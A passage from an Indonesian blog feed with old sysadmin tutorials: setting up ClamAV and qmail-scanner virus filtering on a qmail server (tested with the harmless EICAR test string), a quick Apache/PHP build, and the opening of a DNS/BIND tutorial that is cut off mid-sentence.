nama file yang lain, karena kita akan menyusun sendiri file konfigurasi tersebut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# mv /usr/local/etc/clamav.conf /usr/local/etc/clamav.conf.default&lt;br /&gt;&lt;br /&gt;Buatlah file /usr/local/etc/clamav.conf isinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;LogFile /tmp/clamd.log &lt;br /&gt;LogFileMaxSize 2M &lt;br /&gt;LogVerbose &lt;br /&gt;LogTime &lt;br /&gt;PidFile /var/run/clamd.pid &lt;br /&gt;DataDirectory /usr/local/share/clamav &lt;br /&gt;LocalSocket /tmp/clamd &lt;br /&gt;MaxDirectoryRecursion 15 &lt;br /&gt;User clamav &lt;br /&gt;ScanArchive &lt;br /&gt;ArchiveMaxFileSize 10M &lt;br /&gt;ArchiveMaxRecursion 5 &lt;br /&gt;ArchiveMaxFiles 1000 &lt;br /&gt;&lt;br /&gt;Jalankan daemon clam antivirus (clamd ) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# clamd&lt;br /&gt;&lt;br /&gt;Periksa apakah daemon tersebut sudah berjalan seperti yang kita inginkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# ps axu | grep clamd &lt;br /&gt;clamav   29192  0.0  4.7  9120 5984 ?        S    11:06   0:00 clamd &lt;br /&gt;clamav   29193  0.0  4.7  9120 5984 ?        S    11:06   0:00 clamd &lt;br /&gt;clamav   29194  0.0  4.7  9120 5984 ?        S    11:06   0:00 clamd &lt;br /&gt;&lt;br /&gt;Untuk menjalankan daemon clamd setiap server di reboot :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# echo /usr/local/sbin/clamd &gt;&gt; /etc/rc.local&lt;br /&gt;&lt;br /&gt;Tanpa berpindah dari direktori source clam antivirus, lakukan test dengan cara menscan direktori test :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# clamscan -r test&lt;br /&gt;&lt;br /&gt;Kemudian download update database virus yang paling baru :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# freshclam &lt;br /&gt;&lt;br /&gt;Jika sudah selesai kemudian kita jalankan daemon proses update database virus tersebut secara otomatis (akan dilaksanakan pengecekan database virus yang paling baru 2 kali dalam sehari ) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# touch /var/log/clam-update.log &lt;br /&gt;[root@wedus clamav-0.54]# chmod 644 /var/log/clam-update.log &lt;br /&gt;[root@wedus clamav-0.54]# chown clamav /var/log/clam-update.log &lt;br /&gt;&lt;br /&gt;Jalankan daemonnya (freshclam ):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# freshclam -d -c 2 -l /var/log/clam-update.log&lt;br /&gt;&lt;br /&gt;Untuk menjalankan daemon freshclam jika server di reboot :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# echo "freshclam -d -c 2 -l /var/log/clam-update.log" &gt;&gt; /etc/rc.local&lt;br /&gt;2. Instal Module Perl Time::HiRes dan DB_FIle&lt;br /&gt;&lt;br /&gt;Anda bisa mendapatkan module perl Time::HiRes tersebut yang paling baru melalui http://search.cpan.org/search?module=Time::HiRes, atau anda bisa langsung mendownload di lokal mirror CPAN di Indonesia (terima kasih kepada ISP CBN), download, ekstrak, dan kompilasi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget ftp://ftp.cbn.net.id/mirror/CPAN/authors/id/J/JH/JHI/Time-HiRes-1.42.tar.gz&lt;br /&gt;[root@wedus src]# tar -xzvf Time-HiRes-1.42.tar.gz &lt;br /&gt;[root@wedus src]# cd Time-HiRes-1.42 &lt;br /&gt;[root@wedus Time-HiRes-1.42]# perl Makefile.PL &lt;br /&gt;[root@wedus Time-HiRes-1.42]# make&lt;br /&gt;[root@wedus Time-HiRes-1.42]# make install&lt;br /&gt;&lt;br /&gt;Atau, anda juga bisa menggunakan CPAN auto-install sebagai berikut untuk menginstal module perl Time::HiRes tersebut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# perl -MCPAN -e "install Time::HiRes" &lt;br /&gt;&lt;br /&gt;Lakukan juga langkah seperti tersebut diatas untuk module DB_File.&lt;br /&gt;3. Instal maildrop&lt;br /&gt;&lt;br /&gt;Yang dibutuhkan oleh qmail-scanner dari paket maildrop sebenarnya adalah program reformime. Download, ekstrak, kompilasi dan install :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://unc.dl.sf.net/courier/maildrop-1.5.2.tar.bz2 &lt;br /&gt;[root@wedus src]# tar -jxvf maildrop-1.5.2.tar.bz2 &lt;br /&gt;[root@wedus src]# cd maildrop-1.5.2 &lt;br /&gt;[root@wedus maildrop-1.5.2]# ./configure &lt;br /&gt;[root@wedus maildrop-1.5.2]# make &lt;br /&gt;[root@wedus maildrop-1.5.2]# make install&lt;br /&gt;4. Instal tnef unpacker&lt;br /&gt;&lt;br /&gt;Tnef unpacker digunakan untuk menguraikan attachment MS-TNEF MIME yang digunakan oleh Microsoft mail server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://unc.dl.sf.net/sourceforge/tnef/tnef-1.2.0.tar.gz &lt;br /&gt;[root@wedus src]# tar -xzvf tnef-1.2.0.tar.gz &lt;br /&gt;[root@wedus src]# cd tnef-1.2.0 &lt;br /&gt;[root@wedus tnef-1.2.0]# ./configure &lt;br /&gt;[root@wedus tnef-1.2.0]# make &lt;br /&gt;[root@wedus tnef-1.2.0]# make install &lt;br /&gt;5. Instal perl-suidperl&lt;br /&gt;&lt;br /&gt;Karena pada default distribusi RedHat 7.3 tidak menyertakan program perl-suidperl, maka kita perlu menginstal program tersebut (hal ini mungkin bisa anda temui jika anda tidak menginstal program tersebut pada file /var/log/qmail/smtpd/current akan terdapat error Can't do setuid atau jika di server lokal akan anda dapatkan error 451_qq_temporary_problem_(#4.3.0) ) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget ftp://rpmfind.net/linux/redhat/7.3/en/os/i386/RedHat/RPMS/perl-suidperl-5.6.1-34.99.6.i386.rpm&lt;br /&gt;[root@wedus src]# rpm -ivh perl-suidperl-5.6.1-34.99.6.i386.rpm&lt;br /&gt;6. Instal qmail-scanner&lt;br /&gt;&lt;br /&gt;Download, ekstrak source qmail-scanner yang paling baru :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://unc.dl.sourceforge.net/sourceforge/qmail-scanner/qmail-scanner-1.16.tgz &lt;br /&gt;[root@wedus src]# tar -xzvf qmail-scanner-1.16.tgz&lt;br /&gt;&lt;br /&gt;Ganti direktori ke source qmail-scanner kemudian lakukan konfigurasi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# cd qmail-scanner-1.16 &lt;br /&gt;[root@wedus qmail-scanner-1.16]# ./configure &lt;br /&gt;&lt;br /&gt;Jika sukses, script configure akan menemukan path program yang dibutuhkan oleh qmail-scanner dan clam antivirus, misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;....&lt;br /&gt;mimeunpacker=/usr/local/bin/reformime&lt;br /&gt;uudecode=/usr/bin/uudecode&lt;br /&gt;unzip=/usr/bin/unzip &lt;br /&gt;tnef=/usr/local/bin/tnef&lt;br /&gt;clamscan=/usr/local/bin/clamscan&lt;br /&gt;scanners="clamscan_scanner"&lt;br /&gt;....&lt;br /&gt;&lt;br /&gt;Buat direktori yang akan digunakan oleh qmail-scanner :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-scanner-1.16]# mkdir -p /var/spool/qmailscan/quarantine/{tmp,cur,new}&lt;br /&gt;[root@wedus qmail-scanner-1.16]# mkdir -p /var/spool/qmailscan/working/{tmp,cur,new}&lt;br /&gt;[root@wedus qmail-scanner-1.16]# mkdir -p /var/spool/qmailscan/archive/{tmp,cur,new}&lt;br /&gt;&lt;br /&gt;Salin file quarantine-attachments.txt ke direktori /var/spool/qmailscan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-scanner-1.16]# cp quarantine-attachments.txt /var/spool/qmailscan/&lt;br /&gt;&lt;br /&gt;Ubah kepemilikan dari direktori /var/spool/qmailscan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-scanner-1.16]# chown -R qmailq:qmail /var/spool/qmailscan/ &lt;br /&gt;&lt;br /&gt;Salin file qmail-scanner-queue.pl ke direktori /var/qmail/bin :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-scanner-1.16]# cp qmail-scanner-queue.pl /var/qmail/bin/qmail-scanner-queue.pl &lt;br /&gt;&lt;br /&gt;Ganti kepemilikan dan mode dari file qmail-scanner-queue.pl tersebut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-scanner-1.16]# chown qmailq:qmail /var/qmail/bin/qmail-scanner-queue.pl&lt;br /&gt;[root@wedus qmail-scanner-1.16]# chmod 4755  /var/qmail/bin/qmail-scanner-queue.pl&lt;br /&gt;&lt;br /&gt;Generate database perl-scanner dan membersihkan file-file sementara :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-scanner-1.16]# /var/qmail/bin/qmail-scanner-queue.pl -z &lt;br /&gt;[root@wedus qmail-scanner-1.16]# /var/qmail/bin/qmail-scanner-queue.pl -g&lt;br /&gt;&lt;br /&gt;Edit file /var/qmail/bin/qmail-scanner-queue.pl, sesuaikan dengan konfigurasi yang anda kehendaki, misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;my $V_FROM='virus-notifier@kurowo.edu'; &lt;br /&gt;my $QUARANTINE_CC='asfik@indolinuxefnet.org';&lt;br /&gt;&lt;br /&gt;Test kirim email bervirus ke root@localhost :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-scanner-1.16]# ./contrib/test_installation.sh -doit &lt;br /&gt;&lt;br /&gt;Jika sukses, anda bisa memodifikasi file startup untuk menjalakan qmail-smtpd anda, misalnya jika anda menggunakan supervise anda bisa mengedit file /service/qmail-smtpd/run menjadi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PATH=$PATH:/usr/local/bin:/var/qmail/bin &lt;br /&gt;QMAILQUEUE="/var/qmail/bin/qmail-scanner-queue.pl" &lt;br /&gt;export PATH QMAILQUEUE&lt;br /&gt;&lt;br /&gt;QMAILDUID=`id -u qmaild` &lt;br /&gt;NOFILESGID=`id -g qmaild` &lt;br /&gt;MAXSMTPD=30 &lt;br /&gt;exec /usr/local/bin/softlimit -m 11000000 tcpserver -H -R -v -x /etc/tcp.smtp.cdb -c "$MAXSMTPD" -u "$QMAILDUID" -g "$NOFILESGID" 0 25 qmail-smtpd 2&gt;&amp;1 &lt;br /&gt;&lt;br /&gt;Perhatikan perubahan tersebut diatas terutama pada path QMAILQUEUE dan angka (memory) yang digunakan softlimit, jika anda mengeset angka tersebut terlalu kecil, maka biasanya anda akan mendapatkan error perl: error in loading shared libraries: atau failed to map segment from shared object: Cannot allocate memory. Qmail-scanner tidak mendeteksi virus klez jika setting dari soflimit kurang dari 11000000 (11 juta), anda bisa lihat referensinya di http://archive.elektrapro.com/clamav.elektrapro.com/users/2002/10/msg00114.html (thanks kepada tio aka geep di #indolinux EFnet)&lt;br /&gt;&lt;br /&gt;Restart daemon qmail anda, jika anda menggunakan supervise anda bisa menggunakan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qmail-scanner-1.16]# qmailctl restart&lt;br /&gt;&lt;br /&gt;Kemudian anda bisa mencoba mengirim email dengan attachment sebuah file eicar.com yang isinya sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*&lt;br /&gt;&lt;br /&gt;Jika anda lakukan tail -f /var/spool/qmailscan/quarantine.log, maka akan anda dapatkan file tersebut akan ditolak dan di log oleh qmail-scanner, misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;04/03/2003 12:31:45     asfik@indolinuxefnet.org        asfik@kurowo.edu      test email mengandung virus     EICAR Test Virus      clamscan: 0.54. &lt;br /&gt;&lt;br /&gt;Jika sukses, berarti mail server anda telah menggunakan software antivirus :), have fun ! Jika anda menginginkan pembacaan statistik berapa jumlah email yang masuk kedalam file /var/spool/qmailscan/quarantine.log, anda bisa menggunakan Qmail Scanner Statistics (QSS). Caranya, buat direktori qss, download source qss, dan ekstrak :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# mkdir qss &lt;br /&gt;[root@wedus src]# cd qss &lt;br /&gt;[root@wedus qss]# wget http://unc.dl.sf.net/sourceforge/qss/qss-2.0.2.tar.gz &lt;br /&gt;[root@wedus qss]# tar -xzvf qss-2.0.2.tar.gz &lt;br /&gt;&lt;br /&gt;Tentukan direktori dimana akan kita salin file /var/spool/qmailscan/quarantine.log, misalnya buat direktori /usr/local/httpd/logs/quarantine, kemudian cari user yang menjalankan daemon apache (anda bisa melihat dari file httpd.conf anda bagian User atau anda bisa menggunakan perintah ps axu | grep httpd untuk mencarinya), disini kita misalkan usernya adalah www. Kemudian buatlah file /etc/qss.sh (mulai dibawah ini ganti user www dengan user yang menjalankan daemon apache anda) isinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/bash &lt;br /&gt;cp -f /var/spool/qmailscan/quarantine.log /usr/local/httpd/logs/quarantine/quarantine.log &lt;br /&gt;chown www /usr/local/httpd/logs/quarantine/quarantine.log&lt;br /&gt;&lt;br /&gt;Set menjadi script yang executable :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qss]# chmod +x /etc/qss.sh&lt;br /&gt;&lt;br /&gt;Buat direktori /usr/local/httpd/logs/quarantine dan ganti kepemilikannya ke user www :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qss]# mkdir /usr/local/httpd/logs/quarantine &lt;br /&gt;[root@wedus qss]# chown www /usr/local/httpd/logs/quarantine &lt;br /&gt;&lt;br /&gt;Tentukan dimana qss akan diinstall, hal ini tergantung setting dari DocumentRoot di file httpd.conf anda, misalnya kita buat di direktori /usr/local/httpd/htdocs/qss (sehingga nantinya bisa diakses melalui http://localhost/qss misalnya) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qss]# mkdir /usr/local/httpd/htdocs/qss &lt;br /&gt;&lt;br /&gt;Salin semua file ke direktori tersebut diatas dan ganti kepemilikannya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qss]# cp -R * /usr/local/httpd/htdocs/qss &lt;br /&gt;[root@wedus qss]# chown -R www /usr/local/httpd/htdocs/qss&lt;br /&gt;&lt;br /&gt;Edit file /usr/local/httpd/htdocs/qss/config.php ganti bagian : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$config["logFile"] = "quarantine.log"; &lt;br /&gt;&lt;br /&gt;menjadi :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$config["logFile"] = "/usr/local/httpd/logs/quarantine/quarantine.log";&lt;br /&gt;&lt;br /&gt;Jalankan script untuk menyalin file quarantine.log untuk pertama kali :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qss]# sh /etc/qss.sh&lt;br /&gt;&lt;br /&gt;Test dengan browser anda dengan url http://localhost/qss atau http://ip.address.server.anda/qss tergantung konfigurasi ServerNamepada file httpd.conf anda. Jika sukses anda bisa menambahkan cron setiap 5 menit (jika anda menginginkan waktu yang lebih lama anda bisa mengganti angka 5 menjadi yang lain, misalnya 10,15 atau 30, silakan konsultasi dengan man 5 crontab anda ) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus qss]# echo "*/5 * * * * /etc/qss.sh" &gt; cron.temp &lt;br /&gt;[root@wedus qss]# crontab -u root cron.temp &lt;br /&gt;&lt;br /&gt;Enjoy !&lt;br /&gt;Changelog&lt;br /&gt;&lt;br /&gt;12 Maret 2003&lt;br /&gt;&lt;br /&gt;Penambahan jumlah soflimit karena virus klez tidak terdeteksi oleh qmail-scanner oleh Tio (tioatkaretdotorg) &lt;br /&gt;&lt;br /&gt;08 Maret 2003 &lt;br /&gt;&lt;br /&gt;Penambahan Qmail Scanner Statistic (QSS)&lt;br /&gt;&lt;br /&gt;04 Maret 2003&lt;br /&gt;&lt;br /&gt;Pembuatan tutorial antivirus di qmail menggunakan qmail-scanner dan clam antivirus dimulai&lt;br /&gt;Referensi :&lt;br /&gt;&lt;br /&gt;http://qmail-scanner.sourceforge.net&lt;br /&gt;http://clamav.elektrapro.com/doc/html/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111019984905432345?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111019984905432345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111019984905432345' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019984905432345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019984905432345'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/antivirus-dengan-qmail-scanner-dan.html' title='Antivirus dengan qmail-scanner dan clam antivirus pada qmail'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111019964773781851</id><published>2005-03-07T04:47:00.000-08:00</published><updated>2005-03-07T04:47:27.740-08:00</updated><title type='text'>Instalasi Apache 2.0.47 (DSO+suexec)+PHP 4.3.2 (Quick and Dirty)</title><content type='html'>Jika Anda merasa apa yang saya tulis berikut ini berguna dan ingin membuat saya gembira, Anda bisa mengirimkan satu (atau lebih) CD dari daftar wishlist saya. Tentu saja, usaha Anda akan sangat saya hargai :-). &lt;br /&gt;&lt;br /&gt;Download dan instal apache versi 2.0.47 :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@nablus src]# wget http://apache.secsup.org/dist/httpd/httpd-2.0.47.tar.gz&lt;br /&gt;[root@nablus src]# tar -xzvf httpd-2.0.47.tar.gz&lt;br /&gt;[root@nablus src]# cd httpd-2.0.47&lt;br /&gt;[root@nablus httpd-2.0.47]# ./configure --prefix=/usr/local/httpd-2.0.47 \ &lt;br /&gt;--enable-mods-shared=all \ &lt;br /&gt;--enable-suexec \ &lt;br /&gt;--with-suexec-bin=/usr/local/httpd-2.0.47/bin/suexec \ &lt;br /&gt;--with-suexec-caller=www \ &lt;br /&gt;--with-suexec-userdir=htdocs \ &lt;br /&gt;--with-suexec-docroot=/ \ &lt;br /&gt;--with-suexec-uidmin=99 \ &lt;br /&gt;--with-suexec-gidmin=99 \ &lt;br /&gt;--with-suexec-logfile=/usr/local/httpd-2.0.47/logs/suexec_log \ &lt;br /&gt;--with-suexec-safepath=/usr/local/bin:/usr/bin:/bin&lt;br /&gt;[root@nablus httpd-2.0.47]# make&lt;br /&gt;[root@nablus httpd-2.0.47]# make install&lt;br /&gt;&lt;br /&gt;Download dan install imap (disini imap digunakan agar --with-imap di php bisa berjalan) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@nablus src]# wget ftp://ftp.cac.washington.edu/mail/imap.tar.Z &lt;br /&gt;[root@nablus src]# tar -xzvf imap.tar.Z &lt;br /&gt;[root@nablus src]# cd imap-2002d &lt;br /&gt;[root@nablus imap-2002d]# make slx&lt;br /&gt;&lt;br /&gt;Jika error, coba dengan perintah dibawah ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@nablus imap-2002d]# make slx SSLTYPE=none &lt;br /&gt;&lt;br /&gt;Buat simlink :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@nablus imap-2002d]# ln -s c-client lib&lt;br /&gt;[root@nablus imap-2002d]# ln -s c-client include&lt;br /&gt;&lt;br /&gt;Download dan instal php versi 4.3.2 :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@nablus src]# wget http://us2.php.net/distributions/php-4.3.2.tar.bz2&lt;br /&gt;[root@nablus src]# tar -jxvf php-4.3.2.tar.bz2&lt;br /&gt;[root@nablus src]# cd php-4.3.2&lt;br /&gt;[root@nablus php-4.3.2]# ./configure \ &lt;br /&gt;--with-apxs2=/usr/local/httpd-2.0.47/bin/apxs \ &lt;br /&gt;--with-config-file-path=/usr/local/httpd-2.0.47/conf \ &lt;br /&gt;--with-imap=../imap-2002d \ &lt;br /&gt;--with-jpeg-dir \ &lt;br /&gt;--with-ttf \ &lt;br /&gt;--with-ftp \ &lt;br /&gt;--with-gettext \ &lt;br /&gt;--with-dbase \ &lt;br /&gt;--with-filepro \ &lt;br /&gt;--with-zlib \ &lt;br /&gt;--with-xml \ &lt;br /&gt;--with-gdbm \ &lt;br /&gt;--disable-display-source \ &lt;br /&gt;--disable-short-tags \ &lt;br /&gt;--enable-track-vars \ &lt;br /&gt;--enable-versioning \ &lt;br /&gt;--enable-memory-limit &lt;br /&gt;[root@nablus php-4.3.2]# make&lt;br /&gt;[root@nablus php-4.3.2]# make install&lt;br /&gt;[root@nablus php-4.3.2]# cp php.ini-dist /usr/local/httpd-2.0.47/conf/php.ini&lt;br /&gt;&lt;br /&gt;Edit file /usr/local/httpd-2.0.47/conf/httpd.conf, jika diperlukan ubah pada ServerName dan ServerAdmin dan serta tambahkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AddType application/x-httpd-php .php &lt;br /&gt;DirectoryIndex index.html index.php&lt;br /&gt;&lt;br /&gt;Start apache :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@nablus asfik]# /usr/local/httpd-2.0.47/bin/apachectl start&lt;br /&gt;&lt;br /&gt;You're done :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111019964773781851?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111019964773781851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111019964773781851' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019964773781851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019964773781851'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/instalasi-apache-2047-dsosuexecphp-432.html' title='Instalasi Apache 2.0.47 (DSO+suexec)+PHP 4.3.2 (Quick and Dirty)'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111019959776149225</id><published>2005-03-07T04:46:00.000-08:00</published><updated>2005-03-07T04:46:37.783-08:00</updated><title type='text'>Konsep DNS dan tutorial instalasi BIND</title><content type='html'>Asfihani (asfik@cakraweb.com)&lt;br /&gt;16 Februari 2003 &lt;br /&gt;Tutorial ini ditujukan untuk membantu memahami konsep dan cara kerja dari DNS (Domain Name System) serta tutorial instalasi software DNS menggunakan BIND (Berkeley Internet Name Domain). Tutorial ini mencakup instalasi BIND step by step, membuat zone dari sebuah domain beserta record-recordnya, PTR, serta mengkonfigurasi secondary DNS secara simple. BIND yang digunakan adalah versi 9.2.2rc1 (versi yang paling baru ketika tulisan ini dibuat). Tidak ada copyright apapun dalam dukumen ini, anda bebas menyalin, mencetak, maupun memodifikasi (dengan menyertakan nama penulis asli). Masih banyak kekurangan ataupun mungkin kesalahan pada tulisan ini, oleh karena itu saran, koreksi, kritik, maupun kesalahan ketik silakan dikirimkan ke email tersebut diatas. Terima Kasih. &lt;br /&gt;&lt;br /&gt;Jika Anda merasa apa yang saya tulis berikut ini berguna dan ingin membuat saya gembira, Anda bisa mengirimkan satu (atau lebih) CD dari daftar wishlist saya. Tentu saja, usaha Anda akan sangat saya hargai :-). &lt;br /&gt;1. Pendahuluan &lt;br /&gt;&lt;br /&gt;Setiap kali anda meggunakan internet dalam kegiatan anda sehari-hari, maka setiap kali itu pula secara tidak langsung anda menggunakan DNS (Domain Name System). Penggunaan DNS meliputi aplikasi email (electronic-mail), browsing, ssh/telnet, ftp, maupun aplikasi yang lain yang ada kaitannya dengan internet. Fungsi utama dari sebuah sistem DNS adalah menerjemahkan nama-nama host (hostnames) menjadi nomor IP (IP address) ataupun sebaliknya, sehingga nama tersebut mudah diingat oleh pengguna internet. Fungsi lainnya adalah untuk memberikan suatu informasi tentang suatu host ke seluruh jaringan internet. Sebelum kita mulai instalasi BIND kita flashback dulu dengan sejarah internet, DNS dan BIND, serta konsep DNS.&lt;br /&gt;Sejarah Internet&lt;br /&gt;&lt;br /&gt;Pada akhir tahun 1960, US. Department of Defense Advanced Research Projects Administration (ARPA/DARPA) mendanai percobaan dan riset tentang jaringan komputer secara luas yang saling menghubungkan antar hampir semua organisasi di Amerika yang akhirnya dikenal dengan sebutan ARPAnet. Hasil dari riset tersebut email (electronic-mail) mulai digunakan.&lt;br /&gt;&lt;br /&gt;Pada awal tahun 1980 protokol TCP/IP (Transmission Control Protocol/Internet Protocol) mulai dikenalkan dan akhirnya menjadi protokol standar dalam struktur jaringan ARPAnet. Jaringan ARPAnet berkembang pesat jumlahnya menjadi ribuan host dan masih menggunakan standar protokol TCP/IP, dan akhirnya jaringan tersebut dikenal dengan internet.&lt;br /&gt;&lt;br /&gt;Pada tahun 1988, DARPA digantikan oleh National Science Foundation (NSF) dalam pendanaan riset diikuti dengan penggantian dari ARPAnet menjadi NSFnet sebagai tulang punggung (backbone) jaringan internet. Kemudian pada musim semi tahun 1995, backbone internet melakukan transisi dari NSFnet (yang didanai oleh publik) ke beberapa backbone komersil, dimana memungkinkan interknoneksi antar jaringan bisa menjadi lebih jauh jaraknya. Penyedia backbone komersil tersebut diantaranya adalah MCI dan Sprint serta pemain lama seperti UUNet dan PSINet.&lt;br /&gt;&lt;br /&gt;(DNS and BIND 3rd Edition, Paul Albitz &amp; Cricket Liu, 1998 Hal 2)&lt;br /&gt;Sejarah DNS&lt;br /&gt;&lt;br /&gt;Pada tahun 1970an jaringan ARPAnet hanya terdiri dari beberapa ratus host saja. Pada waktu itu, sebuah file HOSTS.TXT yang berisi tentang semua informasi host-hosts tersebut masih bisa melayani setiap permintaan query dan menerjemahkan nama ke alamat IP (name-to-address-mapping).Pada sistem operasi berbasis UNIX, file /etc/hosts merupakan hasil dari pengolahan file HOSTS.TXT tersebut. File HOSTS.TXT pada waktu itu dikelola oleh Stanford Research Insitute Network Information Center (SRI-NIC) di Menlo Park, California. File tersebut tersebut didistribusikan ke semua host dan penggunanya hanya dengan menggunakan satu buah host (mesin/komputer) saja. Petugas administrasi dari ARPAnetbiasanya mengirimkan email kepada SRI-NIC tentang perubahan (termasuk penambahan maupun pengurangan) tentang informasi suatu host, dan dalam periode tertentu, mereka melakukan transfer file HOSTS.TXT yang paling baru (biasanya diperbaharui sekali dalam seminggu) dengan menggunakan protokol ftp. Seiring dengan berkembangnya jaringan ARPAnetdan penggunaan protokol TCP/IP, ukuran dari file HOSTS.TXT menjadi besar dengan bertambahnya jumlah host yang bergabung dengan jaringan ARPAnet. Kemudian timbul beberapa masalah dengan penggunaan file HOSTS.TXT ini, misalnya :&lt;br /&gt;&lt;br /&gt;Trafik dan Beban (Traffic and load) &lt;br /&gt;&lt;br /&gt;Beban mesin dan trafik (bandwith) di SRI-NIC dalam mendistribusikan file menjadi lebih berat dan besar&lt;br /&gt;Penamaan yang saling bentrok (name collisions) &lt;br /&gt;&lt;br /&gt;Pada file HOSTS.TXT tidak diperkenankan adanya dua buah nama host yang sama. Namun pada prakteknya, tidak ada cara untuk mencegah seseorang untuk menambahkan nama yang sama sehingga kemungkinan bisa menjadi bentrok dan pada akhirnya merusak skema yang telah ada&lt;br /&gt;Keaslian (consistency) &lt;br /&gt;&lt;br /&gt;Mengelola keaslian dan keutuhan sebuah file antar beberapa jaringan yang sedang berkembang pesat merupakan sesuatu hal yang sulit dilakukan&lt;br /&gt;&lt;br /&gt;Berangkat dari masalah-masalah tersebut diatas, ARPAnet membentuk suatu sistem alternatif pengganti dari sistem lama yang menggunakan file HOSTS.TXT. Tujuannya adalah untuk memecahkan masalah dalam pengelolaan tabel host yang sangat beraneka ragam dan masih menggunakan metode sentralisasi. Pada sistem yang baru, seorang sistem administrator memungkinkan untuk mengelola data secara loka, namun akan selalu update secara global di internet. Sistem yang menggunakan metode desentralisasi ini diharapkan akan mengurangi beban dan trafik, serta pengelolaan data dan proses update dari sebuah informasi akan menjadi lebih mudah.&lt;br /&gt;&lt;br /&gt;Paul Mockapertis dari University of Southern California Information Science Institute di Marina del Rey, California, dipilih sebagai orang yang bertanggung jawab terhadap rancangan, desain, arsitektur dan implementasi dari sistem pengelolaan data host yang baru. Pada tahun 1984 beliau merilis RFC 